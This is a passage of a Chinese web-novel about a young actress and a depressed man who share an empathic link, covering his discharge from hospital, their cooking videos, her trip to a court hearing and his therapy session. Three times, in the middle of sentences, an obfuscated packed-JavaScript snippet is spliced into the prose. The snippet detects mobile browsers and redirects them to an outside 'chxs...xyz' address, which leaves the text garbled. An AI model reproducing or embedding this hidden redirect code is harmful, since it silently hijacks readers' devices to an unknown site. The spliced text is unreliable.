“身体素质真好啊。”实习生星星眼,“这么深、这么长的伤口,不到一周就能拆线了。” 柏临渊:“拆线是不是就能出院了?” 刘护士点点头:“晚一点医生查房的时候让他再看一下,能拆线就能出院了。” 柏临渊也有些惊讶,他这次伤口愈合的速度比以往都要快。 “我就是得按时吃药吧!”应璋也凑过去看了一下伤口,满意点头,“我以前受伤都乖乖吃药、按时换药,好的可快了!” “谢谢应女士的监督之功!”柏临渊闻言笑了起来,上唇被虎牙顶出一个俏皮的弧度。 应璋被这突然出现的笑容晃了一下,阴郁系帅哥爆改阳光犬系,这对她的眼睛也太友好了! “……咳,所以出院了也要保持好习惯!” 柏临渊非常配合:“好。” * 拆完线又观察了半下午,柏临渊终于办完出院手续可以回家了。 现在伤口已经结痂,只要不剧烈活动,柏临渊想自己走走也是可以的。在轮椅上被推着过了快一周,柏临渊甚至想自己走回家。 吓得应璋连忙出声制止:“别!你不疼我疼,别折腾我的腿。” 柏临渊这才悻悻放弃这离谱想法。 不过应璋还是给了他一点点自由——带着他在平日里坐着晒太阳的小花园转了一圈。 “这个我记得,是南天竹!”应璋指着路边的绿化带里矮树上的小红果,有点兴奋地看向柏临渊。 之前趁天气好,应璋会推着柏临渊来花园转转。为了分散他的精力,应璋经常会指着园子里的植物叽叽喳喳,巧的是,这些植物柏临渊能认出个七七八八。 于是在柏临渊的带动下,应璋每天都能认出一下新植物,就是有的时候叫不太准。 柏临渊:“嗯。” 应璋:“好像不太对……” 两人同时出声,应璋狐疑地看着柏临渊:“南天竹不长这样吧?这个厚厚的叶片和冬青很像。” 柏临渊原本想就着应璋的话应下来,被这么一问只能道:“咳……这个是枸骨。” “好怪的名字……哪个gou?”应璋好奇追问,“反犬旁的那个狗吗?” “不是……”柏临渊摇头,“枸杞的枸。” “不过名字跟狗也有关系。古人觉得剥了皮的木枝很像洁白的狗骨,但后来有觉得听着不太文雅,就改了偏旁……” 应璋还是很喜欢听柏临渊讲话的。在剧组见多了那种指点江山、世界尽在掌握的男人,再看柏临渊这种不说教、不卖弄,只是单纯讲故事的男人,好感度蹭蹭往上涨。 “你要是会讲专业课就好了。”应璋不由感慨起来,“听你讲话可比听老师讲课有意思多了。” 柏临渊愣了一下,没等他回话,应璋就自言自语安慰起了她自己,“瞧我这话说的,什么话不比上课有意思!你别理我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360233|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我抽风。” “我可以试试……”柏临渊小声道,“就算我不会,也可以陪你学。” “……好呀,哈哈。” 应璋只当他在开玩笑,并没有当成一回事,揉着肚子提议道:“我们先回去把东西放好,再出来吃饭?” “可以去超市买点菜,你想吃什么,我给你做。”柏临渊想了想,提议道。 “别了吧。”应璋摇头,“我现在已经觉得腿在隐隐作痛了,等你买完菜做完饭,我应该已经疼得不想吃了。” “对不起……”柏临渊诚恳道歉,“我们先回去,我不走了。” 归置好行李后,应璋开始研究往晚上吃什么。她们这个小区不太好叫车,考虑到柏临渊的腿和他的洁癖,能选的范围就比较有限了。 “没事,想吃什么都可以。”柏临渊看着应璋苦恼的样子,忍不住出声道,“我可以开车带你去。” “就算是我开也不能让你开啊!”应璋瞪眼,“万一你一脚刹车把伤口崩开了,我们就要重新回医院把伤口缝上了。” “哦,好。” 被训了柏临渊也不恼,乖乖把钥匙交了出来:“那你开吧,以后这辆车你用,想去哪都行。” 应璋也没想过这个走向:“啊……我不是……” “去吃东兴阁吗?”柏临渊把手机递到应璋面前,“今天有火踵神仙鸭。” 屏幕上一口笨重的砂锅横陈其上,火腿艳红、汤汁乳白,看得人食指大动。 “去!”应璋一把接过钥匙,“我们这就出发!” 柏临渊在路上就定好了包厢,两人进去刚落座不久菜就上齐了。 “钟老师他们也过来吃饭吗?”应璋看着这一大桌菜,人都傻了。 柏临渊摇头:“不是,只有我们两个。” “两个人吃十二个菜?” 厨艺只停留在泡面加卤蛋火腿肠的应璋有些难以置信。按照她平时的餐标,最多也就是个两菜一汤,现在这种超高规格的餐标让她有点不知所措了。 “就当是庆祝我出院。”柏临渊盛了一碗鸭汤放在应璋面前,“这个汤适合病人喝,你吃开心了,我也能多喝两碗。” 应璋恍然大悟:原来是借着共感提升食欲!她懂了! “好,你想吃什么跟我说,你喜欢什么我吃什么!” 这话听起来怪怪的,但两人都毫无察觉,一个捧着汤碗大快朵颐,一个忙着布菜满脸笑意。 火踵是火腿的圆蹄部分,鲜红浓香的圆片入口即化,似乎是做了减盐处理,吃起来味道并不算重,鲜味反而更加明显。鸭子选的是鲜活的老雄鸭,肉质饱满肥嫩,几乎感受不到鸭子的腥气。 整道汤羹被文火炖的酥烂,很是滋补。 应璋连喝了两碗,才舍得放下碗去吃其他菜。 这顿饭应璋吃得很满意,借着共感,柏临渊也好好饱餐了一顿。 这段时间因为有应璋的陪伴,柏临渊终于能正常的感受到食物的味道了。身为烹饪爱好者的他本想今天回去大展拳脚,把之前病房里大家报菜名的美食一网打尽,奈何身体条件不允许,现在也算半了却了一桩心事。 享受了一顿美食的两人回到小区,应璋下意识就往自己家走,只是腿迈出去了人没出去。 顺着胳膊上的力道,应璋回头望去,只见柏临渊很委屈地扯着她的袖子—— “今晚是不是应该住在我家?” 14. 魔术 对哦! 应璋顺着柏临渊的力道往后靠了靠,突然意识到她是要住在对门监督他的。 “那我去拿床被子。”应璋想了想,“洗漱用品什么的也要收拾一下。” “好……”柏临渊慢慢松开了扯着应璋袖子的手,“寝具都有,你要是不认床的话,带套喜欢的四件套就好。” “行!”应璋点头,“反正离得近,也不用收拾太多。” 十八线糊咖待遇平平,别说生活助理了,应璋连助理都没有过,出门就是极简随意风,所以东西收拾得很快。 应璋拖着小箱子出门时,柏临渊还站在楼梯间里不知道在想什么。 “你怎么不回家?”应璋有些纳闷,这会天也冷了,晚上还是挺凉的,这人不回家杵在走廊做什么? “我不知道……”柏临渊面带窘迫,“好像就发了一下呆,你就出来了……” “快进屋!都不觉得冷吗?”应璋伸手开门,把人往房间里推。 柏临渊顺着应璋的力道进了屋,反手去接她手上的箱子:“还好,不冷。” 应璋被冰得缩了缩手:“手这么冰,还说不冷。” “可能是因为共感?”柏临渊小声辩解,“你不冷,所以我也不觉得冷。” 应璋:还能这样? “但是个人感觉是不会被共感覆盖的呀?”应璋觉得哪里不太对劲,“你没有感觉到自己手冷吗?” 柏临渊诚实摇头:“没有。” 应璋:“你是不是这两年一直对自己的感觉和情绪不敏感?” 柏临渊想了想:“好像是……” 应璋:破案了。 应璋现在是正常人,还是个以自我感受为第一顺位的ENTP,哪怕是共感的情绪或者感受再强烈,她也能保留自我的感受和情绪。 但柏临渊不行,因为病症,他的认知和情绪是失调的,所以共感对他的影响要远大于对应璋的影响。 “咳……”应璋清清嗓子,开始转移话题,“我住哪啊?” 柏临渊:“住这里吧?” 应璋顺着柏临渊手指的方向望去,如果她没记错的话,这间应该是他的主卧? “这不是主卧?我住主卧你住哪?” “但是主卧有独立不被打扰的浴室……”柏临渊指了指旁边的房间,“我住这里就行。” 应璋看了看采光好、有独卫、面积大的主卧,再看了看朝向差、没独卫、面积缩水不少的次卧,突然就有种雀占鸠巢的愧疚感。 “不用不用,哪能抢了你的床。”应璋摆摆手,伸手去接自己的行李箱,“我不挑床,之前工作的时候多差的环境都能睡。” 柏临渊抓紧行李箱不撒手:“可你是因为我才住到陌生人家里的,总不能住的比自己家差太多。” “嗐,没事……”应璋不以为意。 “还是说……你嫌弃这个卧室是我住过的……” 柏临渊语气一下子低落了起来,难受的情绪无需共感,应该也能体会到。 “怎么会嫌弃呢?”应璋直接进了主卧,身体力行的表达出自己的态度,“这干净得跟样板间似的,你不说谁知道这里有人住过。” 柏临渊拎着行李箱亦步亦趋地跟上,拉开柜门热情介绍:“这里你随便用,我都收拾好了……” “等等……”应璋打断了柏临渊的话,诧异地看着空空荡荡的衣柜,“你不是没回家一直站走廊?什么时候收拾的?” “就是回来放行李,你挑饭店的时候。”柏临渊摸了摸隔板,语带骄傲,“我用酒精湿巾擦过了,还喷了次氯酸消毒,现在已经干了。” “给你换了四件套,是洗过还没用过的,你要是不喜欢,还能换成你自己的。” 应璋震惊了,她们回来待了多久?有半个小时吗?这么会工夫就够他把卧室整个打扫一遍? * 同居生活远比应璋想象的要平淡。 柏临渊实在是个存在感不高的好室友,比起同居室友,他更像是田螺先生——会在应璋还没起床就把家务全部整理好,一日三餐丰盛又准时。 即便是两人坐在同一张沙发上看电影,柏临渊也只会接话,并默默准备饮料小食,像是攻略游戏里被动触发的NPC。 米虫一样的生活让应璋的罪恶感蹭蹭往外冒。 毕竟柏临渊只是出于愧疚让她监督他不要自残,而他本人的实际状况并没有因为应璋的监督而变好。药物只是控制住了他的身并没有疗愈他的精神。 应璋还是会在深夜里被动emo和疼痛。 而在药物的影响下,柏临渊大部分时间不是睡觉就是发呆,活动范围基本就是卧室、客厅、厨房三点一线,比应璋的生理期还稳定。 这可不行。 必须找点什么事做做,让他分散分散精力。 思来想去,应璋决定拍柏临渊做饭,拉着他当美食博主。 是兄弟就来干活! 在莫伊倪的大力帮助和指导下,W站多了一个新人博主——吃饭日记。 应璋做这个账号的目的也不是真的为了做大博主,就是单纯的给柏临渊找点事做丰富一下他的生活。 单就应璋的脑洞和生活经验来看,这已经是她能想到的最好的消遣方式了。毕竟柏临渊宅得稳定,自从她搬进来后,他除了偶尔跟她一起去挑菜,就再也没有因为其他的事情出过门。 就连复查都是应璋硬拖着骗出去的。 因此应璋对他们账号的定位就是,日常向。 第一期视频拍的是她们的晚饭。 拍视频的这天应璋回家的不算太早,进门已是傍晚。而往常已经亮灯的厨房现在暗沉沉的,整个房子安静得像是一间空房。 “柏临渊?” 应璋小声喊了一下,但是没人回话。把手上借来的摄影器材放在鞋柜上,应璋一边换鞋一边开了客厅的灯。 刚抬起头,鞋还没穿稳,应璋就被沙发上目光呆滞的黑影吓了一跳。 “你在家啊?”应璋扶住鞋柜,“睡着了吗?我开灯是不是吵醒你了?” 柏临渊没有回话,依旧呆呆地看着前方,等到应璋坐到他旁边才,人才有些反应。 “你回来了。” 可能是很长时间没有眨眼了,在灯光的刺激下,柏临渊的眼睛不受控制地频繁眨动起来,生理性的泪水慢慢堆满了整个眼眶。 “你这次出去了好久。” “嗯,是有点久。”应璋点点头,“作为补偿,要不给你变个魔术?” 柏临渊呆呆重复:“魔术?” “对,魔术!”应璋扬扬下巴,平摊开手掌示意魔术开始,“好,现在我的手上有两块糖,你猜猜是什么味的。” 柏临渊看着应璋空空荡荡的手掌,疑惑歪头。 应璋晃了晃手:“快猜!” 柏临渊坐直的一点,配合猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360234|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“那……我猜是陈皮糖……” “两块都是吗?”应璋笑眯眯地看着,不说是也不是不是。 柏临渊:“唔……另一块也是陈皮糖?” “好,现在把你的手摊开,准备领取奖励!” 应璋把手攥成拳,虚虚置于柏临渊摊开的手掌上方,问出最后一个问题:“你想吃什么口味的糖?” 柏临渊:“唔……陈皮?” 应璋:“真的吗?” 柏临渊这才小声道:“想吃番茄糖……但是陈皮糖也可以!” 应璋笑着松开手,两颗红色的糖果落在柏临渊掌心,硬挺的塑料纸刺得他掌心痒痒的。 柏临渊:“是番茄糖!” “答对啦!诚恳面对内心的小朋友有奖励!” 应璋笑着又捧了一大把糖撒在柏临渊手上,小巧的糖果层层叠叠地垒在一起,有几颗甚至顺着柏临渊的手滚落在腿上。 “我以为你在外面吃过晚饭了……”柏临渊剥开一颗糖塞进嘴里,声音有些含糊不清。 “没有哦。”应璋摇摇头,“我只是去找莫伊倪借相机,我们不是说好了要记录日常,没有相机怎么行?” “那今晚吃砂锅粥好不好?”柏临渊笑了起来,把手上的糖一颗一颗塞进口袋里收好,“就吃生滚牛肉粥,那个拍起来很漂亮。” “好呀!”应璋看着柏临渊的动作,突然福至心灵,“你是不是以为我在外面吃过饭了,才会给你带清口的陈皮糖?” “嗯……”柏临渊捂住口袋,慌乱起身,“中午泡的米应该好了,我去熬粥底!” 柏临渊动作迅速地从客厅消失了,急促的像是有什么在后背追他一样。 “慢点,慢点!”应璋忍不住出声提醒,“抻着伤口了,我腿疼!” * 因为柏临渊不愿意出镜,应璋的画面大部分是对准手和食材的,偶尔也会从身后拍拍背影。 应璋不会下厨,柏临渊怕她在厨房待的无聊,就开始给他自己的做饭流程配上解说。 “米可以泡久一点,如果米的品质不是特别好,或者想节省一点煮粥的时间,可以提前一天把米泡上。” “牛肉可以切片或切丝,按照饮食习惯调整即可。你想吃肉片还是肉丝?” 应璋想了想:“肉片吧。” 柏临渊点点头,调整了一下牛肉的朝向:“那我们横着纹路切,这样肉片会更加滑嫩可口。” “切好牛肉我们再加蚝油、盐、姜丝和食用油把肉片稍微腌制一下……” 在柏临渊的讲解下,不做饭的应璋也知道镜头已经拍哪里了。应璋不太懂镜头语言,但是被拍了几年,属于是没吃过猪肉也见过猪跑,拍起美食视频来也有几分模样,远景、近景、特写拍得不亦乐乎。 等待砂锅给米施加火焰魔法的间隙,应璋把已经拍得素材导出粗剪,柏临渊在旁边陪着她一起选画面、调色调,让半成品看起来也有几分模样。 等米开花后,后续的步骤就快了许多。应璋有点手忙脚乱,拍出来的画面也没有前面的片段美观。 算了,凑合用吧。 比起不知道有没有观众的视频,还是趁热喝粥比较重要。 第一条视频的拍摄工作就这样虎头蛇尾地结束了,应璋对这条视频也没抱什么期待,简单剪辑一下就上传了。 但谁都没有想到,这样粗糙的新手作品莫名其妙地就爬上了热门。 15. 吃播 粗糙到有些笨拙的作品意外地受欢迎,账号一夜之间涨了五万关注。 “比你的工作账号关注都多了……”莫伊倪简直不敢相信自己的眼睛,“你们是什么自媒体圣体吗?怎么就爆火了?” “可能是大家比较喜欢这种风格?”应璋猜道,“毕竟画风还是很温馨居家的。你不觉得柏临渊讲话慢半拍的样子很有趣吗?” “不觉得……”莫伊倪满腹怨念,“你都多久没来我家住了?” 应璋心虚:“嘿嘿……妮妮最好了!” 以前应璋是莫伊倪家的半个房客,假很短或者第二天要赶剧组的时候基本都住在莫伊倪家,算一算确实有段日子没在一起姐妹夜话了。 “不过你们把账号做起来,回头接接广告也能算是一笔收入。”嘴上虽然在埋怨,但莫伊倪其实还是为好友开心的,“瘦死的骆驼比马大,铃戏拖拖拉拉还不破产,搞不好真要拖你好几年。” “没事,反正现在日子也能过下去,走一步看一步呗。” 应璋向来随遇而安,被折腾了好几年,现在的生活美好的简直就像在梦里一样。 有了第一条视频的基础,账号的基调也就此定了下来,基本都是柏临渊在讲,应璋在提问和听。大部分视频内容都是做菜,偶尔也有挑菜备材料的教学视频。 日子一天天过去,三个月下来的更新下来,账号也有了二十多万的粉丝关注。 不知道是不是受视频风格影响,视频下的留言基本都很友善,大部分是夸奖和感谢,还有小部分是耍宝搞怪的。 起初应璋还会精选留言,选出合适的再截图整理好发给柏临渊看。随着关注量和播放量的增长,账号留言区的评论渐渐多到看不过来,能留在前排的基本都是友善有趣的留言,应璋也就不再严防死守了。 慢慢地,只看不回复的柏临渊渐渐也会和网友互动了,整个人的精神状态也越来越好。 最直观的感受就是,深夜时分应璋很少会感受到那种绵长磨人的疼痛。虽然夜里偶尔还是会感受到柏临渊的情绪低落,但是已经很长一段时间没有莫名其妙地发抖和呼吸困难了。 因着对共感影响到应璋的愧疚,尽管柏临渊对生活和他自己的事情都不在意,但还是会尽量配合应璋的要求。 一周两更的更新频率占据了柏临渊不少时间,消磨时间的同时,确实也分散了他的精力。有了必须要做的事情,生活也变得更加规律了,一切似乎都在向好的方向发展。 由于账号数据涨势迅猛,应璋和柏临渊还没有准备好十万粉和二十万粉的礼物。两人拎着菜篮子绞尽脑汁想选题时,应璋收到了法院的传票。 和《风月渡》剧组的官司要开庭了。 比何律预计的时间要早了不少,原以为这样的官司怎么也要等个一年半载才能开庭,没想到才过去小半年,就收到传票了。 在何律的建议下,应璋选择了剧组制作方公司所在的地方法院,现在要开庭了,她和何律需要赶往首都法院。 应璋从小就晕车晕机晕船,也不太爱到处跑,在答应柏临渊的监督条约时还没什么感觉。现在要出远门了,才觉得有点麻烦。 带柏临渊一起走吧,又怕给人家添麻烦。毕竟这一趟也不是出去玩的,带着人大老远舟车劳顿地就为了法院一日游?想想都觉得这是个一般人想不出来的馊主意。 不带柏临渊吧,又怕这些日子的努力一朝回到解放前。柏临渊现在只是有好转的迹象,又不是痊愈了。两人离得有好几个省那么远,万一真出点什么事……应璋都不敢想。 在床上翻来覆去瘫了一个晚上煎饼后,应璋决定把选择权交给柏临渊。 柏临渊手上的动作顿了顿:“什么时候走?要待多久?” “明后天吧。”应璋算了算时间,“比较顺利的话过个两三天就能回来,要是需要上诉的话,可能要多留几天。” 柏临渊沉默地捏着手下的面团,良久才开口:“……我就不去了,后天约了心理医生。” “对哦。”应璋看了下日历,才意识到这个问题,“要不我们去首都找医生看看?我看看能不能抢个专家号……” “不用了,我在家里等你。”柏临渊把面团放在盆里,连盆带面放进了冰箱。 “为什么把面放进冰箱?不做了吗?”应璋看着柏临渊的动作,十分不解,“不是说要做馅饼?冰箱的温度不太适合发面吧?” “不做了……”柏临渊从冰箱里拿出其他蔬菜开始清洗,“你胃不好,吃带馅料的出远门容易不舒服。” “是吗?”应璋愣了一下。 “每次吃完包子饺子,你第二天饭量都会小不少。”柏临渊控干菜上的水分,开始处理食材,“可能你自己都没注意过。” 应璋仔细回想,好像确实像柏临渊说的那样,每次吃完带馅的食物,好像都会有很长一阵会觉得不饿。 “但我不放心你一个人在家……”应璋还是觉得不能放柏临渊自己一个人待着,“要不让钟老师每天来陪你吃饭?” “不用那么小心。”柏临渊笑了笑,帅气地单手打了两个鸡蛋,“不是有共感?真有不对劲你也能感受到的。” “也是……”应璋接过了柏临渊手上的碗,“我来帮你……” * 安排好婺州的所有事务后,应璋和何律启程赶赴首都。 鉴于应璋坐什么晕什么的神奇体质,两人最后选择了舒适度比较高的高铁出行,最快的一趟也好五个多小时,下了车饥肠辘辘的两人直接在车站附近的快餐店解决了温饱。 比较奇怪的是,应璋吃了两个汉堡,还隐隐觉得有些饿。 不过这种感觉既不强烈也不明显,应璋便没当回事,继续和何律为后天开庭做准备。 两人一直忙到深夜,才有空去填一填肚子。 “我知道有家小羊排味道特别好!”何律有些得意地介绍了起来,“是一家藏在胡同里的小店,我提前三天约,老板才答应给我留一扇肋排,让我晚点去吃。” “那今天是沾上何律的光了。”应璋也期待了起来,“老板是京城人吗?羊是山河四省的?” “老板是本地人,但他爱人是天山人,羊都是从新疆空运过来的。”何律说着忍不住咽了咽口水,“那滋味,绝了,跟北方的羊吃起来是两种味道,你吃了就知道了!” 满怀期待的应璋在何律的带领下饱餐了一顿。 羊肉鲜美酥香,外层已经焦脆了,内里还有非常丰沛的汁水,配上店家凉拌的黄洋葱,应璋吃得满头大汗,用唇舌深切地感受了一番什么叫外酥里嫩,唇齿留香。 从饭店出来的时候应璋差点扶墙,整个人撑到想去找两板健胃消食片吃吃,但奇怪的是,她还是隐隐觉得有点饿,而且胃也有有熟悉的痛感。 细细体会一下,跟她之前节食每天啃菜叶子饿到胃疼的感觉颇为相似。 应璋摸了摸肚皮:“奇怪,我也没少吃啊……” “该不会是柏临渊没吃饭吧?” 既然问题不在她身上,那肯定就在柏临渊身上。 但应璋打开两个人的对话框看了又看,也没看出什么问题。从她上车开始两人的聊天就没断过,讲账号、讲评论、讲天边的云也讲旅途的风景。 无论是从对话频率还是语气看,柏临渊都挺正常的啊?还跟她汇报午餐吃了什么,晚上准备吃什么。 应璋试探地又发了两条消息。 【早早:柏临渊,今天有没有按时吃药?】 柏临渊回得很快。 【临渊:吃过了,吃完饭就吃了。】 【早早:晚饭吃得什么好吃的呀?今天何律带我吃了超级好吃的羊排,下次来首都我带你过来吃![图片]】 【临渊:晚上不太饿,吃得小面包。】 应璋:什么小面包?是为了凑外卖配送费加购的那个还没巴掌一半大的小面包吗? 脑海快速盘点了一番家里的库存,应璋确定只有这一个小面包,于是激情开麦。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360235|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【早早:前天凑单那个小面包?你那么高的个子,吃这个不饿吗?】 【早早:再吃点别的垫垫,你那个药刺激胃,吃太少等晚上你会胃疼的。】 一片漆黑中,柏临渊面无表情地躺在沙发上,手机屏幕的光幽幽地打在脸上,映出一片惨白。没吃饭也没吃药的他就这样坐在原地,只有手指在轻微活动。 【临渊:好,我在削苹果,再吃一点水果。】 看到柏临渊的回复,应璋稍稍安心,就回酒店洗漱休息了。 人刚躺下不久,应璋就被胃部翻搅上涌的酸痛给疼醒了。 不是,他到底吃没吃饭啊?当事人现在就是非常后悔,她应该装上几个监控再走的! 应璋也不管现在是晚上几点了,反手就是一个视频电话。她得监督着柏临渊好好吃药吃饭。 电话响了很久才接通。 柏临渊焦急的脸出现在屏幕中:“怎么这个点给我打电话?遇到什么事情了吗?” “你在哪?一直坐在客厅沙发上发呆?”应璋看着屏幕对面黑漆漆的一片,眉头紧皱,“你是不是没吃饭也没吃药?” “吃了。”柏临渊声音镇定,丝毫没有没抓包的慌张。 “真的?”应璋挑眉,“那我觉得胃痛背也痛,是因为我坐了五个多小时的高铁吗?你是不是忘了我们会共感?” “吃不下……”柏临渊声音小小的,隐约能听出一丝委屈,“我真的不饿……完全不想吃东西……” “你现在去厨房把早上剩的粥热一下。”应璋叹了口气,“我陪你吃。” “你是为了这个找我的吗?” 镜头离远,应璋看着镜头对面那个大半身影都笼在夜色里的人,没忍住叹了口气:“中午我就该想到的,你是不是中午也没吃?” 对面没有说话,只有微波炉工作的嗡鸣声。 应璋只能轻声哄着:“灯打开,不要在厨房摸黑,你是不是磕到腿了?” “没事……” 柏临渊端出滚烫的粥碗,像是感觉不到烫一样抓起勺子就往嘴里塞。 “放下!你感觉不到烫吗!”应璋急得声音都高了八度,“早知道这样就应该绑着你来首都!” 柏临渊放下勺子,声音低低的嘟囔了一句:“好呀……” “我现在给你买票,最多十二点你就结束治疗了,你带上药。飞机落地了我去机场接你,好不好?”应璋要柏临渊逗笑了,一边爬起来看机票,一边思考明天的行程安排。 “不用了。”柏临渊摇头,“我会调整好自己的。” 应璋表示怀疑:“是吗?磕了腿的柏临渊先生?” “大不了你还这样,打视频监督我……”柏临渊捏着勺子的指节青白,言语间带着忐忑。 “要不我开直播陪你?” 开庭前最忙的就是何律,应璋要做的事还真的不多。应璋看着只露出一个下巴的柏临渊,思考着云陪伴的可行性。 “可以吗?会不会耽误你做事?”柏临渊激动地把手机都撞翻了,手忙脚乱地把手机扶好后,声音都在抖,“我不是……那个……我……” “那就这么定了!”应璋一锤定音,“作为看我吃播,嗯……未来吃播的回报,你先给我做个示范。” 说了这么会话,粥的温度也降下来了。 “去加勺糖,把这碗粥喝了。”应璋扬扬下巴,“吃得让我满意了,明天小应主播就开播。” “好。” 柏临渊拿了糖罐,一勺一勺吃得认真。 “吃完了。”柏临渊退后两步举起碗,把空荡荡的碗底展示给应璋看。 可能是怕被碗遮挡,柏临渊微微歪头看向镜头,从应璋这个角度看就显得格外……色气。 嘴唇在热粥的浸润下终于有了些气色,在灯光下散发着莹润的光泽。只扣了下摆几颗扣子的家居服在他的展示动作拉扯下露出小片肤色,配上吃干净的碗…… 完蛋,应璋现在满脑子都是晋江不让写的东西。 16. 胜诉 微胜,胜60%。 “一定是最近男菩萨看少了。” 挂了视频电话,应璋打开短视频软件大刷特刷,试图用更直白刺激的画面刷新脑子里并不健康且不正当的联想。 效果很显著,梦里有八个没穿上衣的肌肉男追着跑,激烈程度堪比谍战片。这一觉睡得,比泡健身房举两小时铁还累。 “男色误人啊……”应璋咂咂嘴,起床洗漱。 今天何律有不少事情要做,忙得脚打后脑勺。当事人应璋倒是比较清闲,甚至还有心情化了个淡妆。 出门应璋直奔富华斋饽饽铺,好久没吃这种北方老式酥点了,想的就是这一口细密绵软。 路上应璋就跟柏临渊打起了视频电话。但不知道是手机的问题还是软件的问题,只要切换别的应用,不是应璋黑屏就是柏临渊黑屏。 被时不时的卡顿黑屏弄得心烦的应璋直接在TT注册成了主播号,水灵灵的成了一枚新晋主播。 “现在还卡吗?不卡了吧?切别的应用也不卡吧?” 应璋凑到屏幕前,直播间的唯一观众用户72112458缓缓冒泡。 【用户7211…:不卡,很流畅。】 【用户7211…:而且画面也比视频电话要清晰。】 “那就行。”应璋满意点头,开始盘点今天的行程,“等会我先去吃个点心,然后顺着藏狐老师安利的路线逛,先去鲁迅博物馆,再去历代帝王庙看看。” “转累了就去吃饭。你中午有想吃的吗?允许你点一个菜,我帮你尝尝味道。” 【用户7211…:豆汁可以吗?】 应璋一字一顿的读出屏幕上的留言,简直不敢相信自己的眼睛:“柏临渊你喜欢喝这个?” 【用户7211…:不是喜欢,好奇喝了是什么感受。】 倒吸一口冷气的应璋把头摇得像拨浪鼓:“挺好的,但是你先别好奇,剥夺你今天的点菜权利!” 到了饽饽铺,应璋选了个室外的桌子正式开启吃播。 “先吃个杏仁豆腐清清口,你也别愣着,麻溜把早饭吃了。”应璋端起碗展示了一下,顺口催了一句,“等会吃完饭把吃药视频拍下来发给我,吃药之前对暗号啊,我看‘杏仁豆腐’就挺好。没有暗号说明你假吃,罚你重新拍哈!” 【用户7211…:1】 “这个好吃诶!” 奶白色的杏仁豆腐上点缀着色泽浓艳的糖桂花,看起来非常漂亮。 “比在南方吃的那些杏仁豆腐的味道要淡,感觉蛮适合早上吃的,很清爽。” 应璋像吃播主播一样介绍着面前的食物,笑眯眯享受美食的样子看得人胃口大开。 不知道是镜头里的吃播太有感染力,还是共感带来的强大影响,一直没有胃口的柏临渊在此刻突然有了饥饿感。 其实他也不太能分清到底是不是饥饿感。这种由内散发的空虚好像不仅仅是胃部的饥饿,好像其他脏器也在叫嚣着想要被填满。 “先吃饭,然后录吃药视频。”柏临渊望着屏幕里吃得开心的倩影喃喃自语,慢慢就只剩动作没有声音了,“等下还要看医生,我会……” 应璋不知道镜头对面发生的事,一口点心一口茶兀自吃得开心——芸豆卷口感丰富味道清甜,陈皮豆沙回味甘香,豌豆糕香甜蜜滑…… 主播小应开播初体验非常棒! * 作为心理诊室的常客,柏临渊对这里并不陌生。三年下来,这里的一切都成为他日常的一部分。 刚确诊为抑郁症时,柏临渊还有些开心,原来他只是病了,只需要治病就好。但是心理疾病不像身体上的疾病,医生既接触不到病灶,也无法帮助他摆脱情绪的沉疴。 心理医生只是医生,不是判官。原生家庭的漠视和学院老师同门的背叛带来的伤害是真切的,但诊治和疗愈是虚幻的。 柏临渊没有办法接触外界,他觉得整个世界都是虚幻的,所有人都长着同一张脸,只要有利可图就会露出獠牙伺机而动。 医生的劝慰与冬天的阳光没有什么区别,即便再热烈明媚,也是带着冷意的,没有办法驱散缠绕不去的阴霾。 起初柏临渊只是下意识地防御和抵触外界,但是时间一长,他好像也失去了感知外界的能力,情绪和感官都像是陷进了湖底的淤泥,慢慢变得迟钝而僵化。 哪怕是从小就一直陪伴他成长的钟老师一家,也不能走进他的心房,所有相处的细节都是他从过往的人际交往中拼凑出来的礼貌假象。 柏临渊不是故意的。 这个世界给予他的善意太少了,负面情绪倾泻而下时,所有珍贵而美好的过往都荡然无存。 “你今天的气色看起来很好。”医生笑眯眯地看向落座的柏临渊,“最近有发生什么值得高兴的事情吗?” “最近突然生活中突然多了一个很好的人。”柏临渊想着早上的吃播,嘴角控制不住地上扬,“她很好,善良、热情、勇敢……最重要的是,她有很旺盛、很旺盛的生命力。” “看到她的第一眼,就像是在直视太阳,灼得人眼发烫,但又耀眼得挪不开目光。” “我像是一只贪婪吮吸她血液的蚂蟥,汲取她的生命力来维持我看似正常的躯壳……” 医生适时递上一杯水:“你很少主动说这么多话,看来她确实给你带来了很多能量。” “但我这样汲取能量是不对的……”柏临渊手上的水杯泛起层层涟漪,水面和他的声音一样颤抖,“像寄生虫一样,汲取别人的生命苟延残喘……” “你为什么要这么想呢?”医生温声道,“人是靠社交和感情维系的生物,只要是交互,就会有联系,并不是单向地索取。” “但是我的父母、导师、同窗……都是单向的索取……”柏临渊看向医生,神情近乎诘问,“他们对我做得事,难道有交互和回馈吗?” 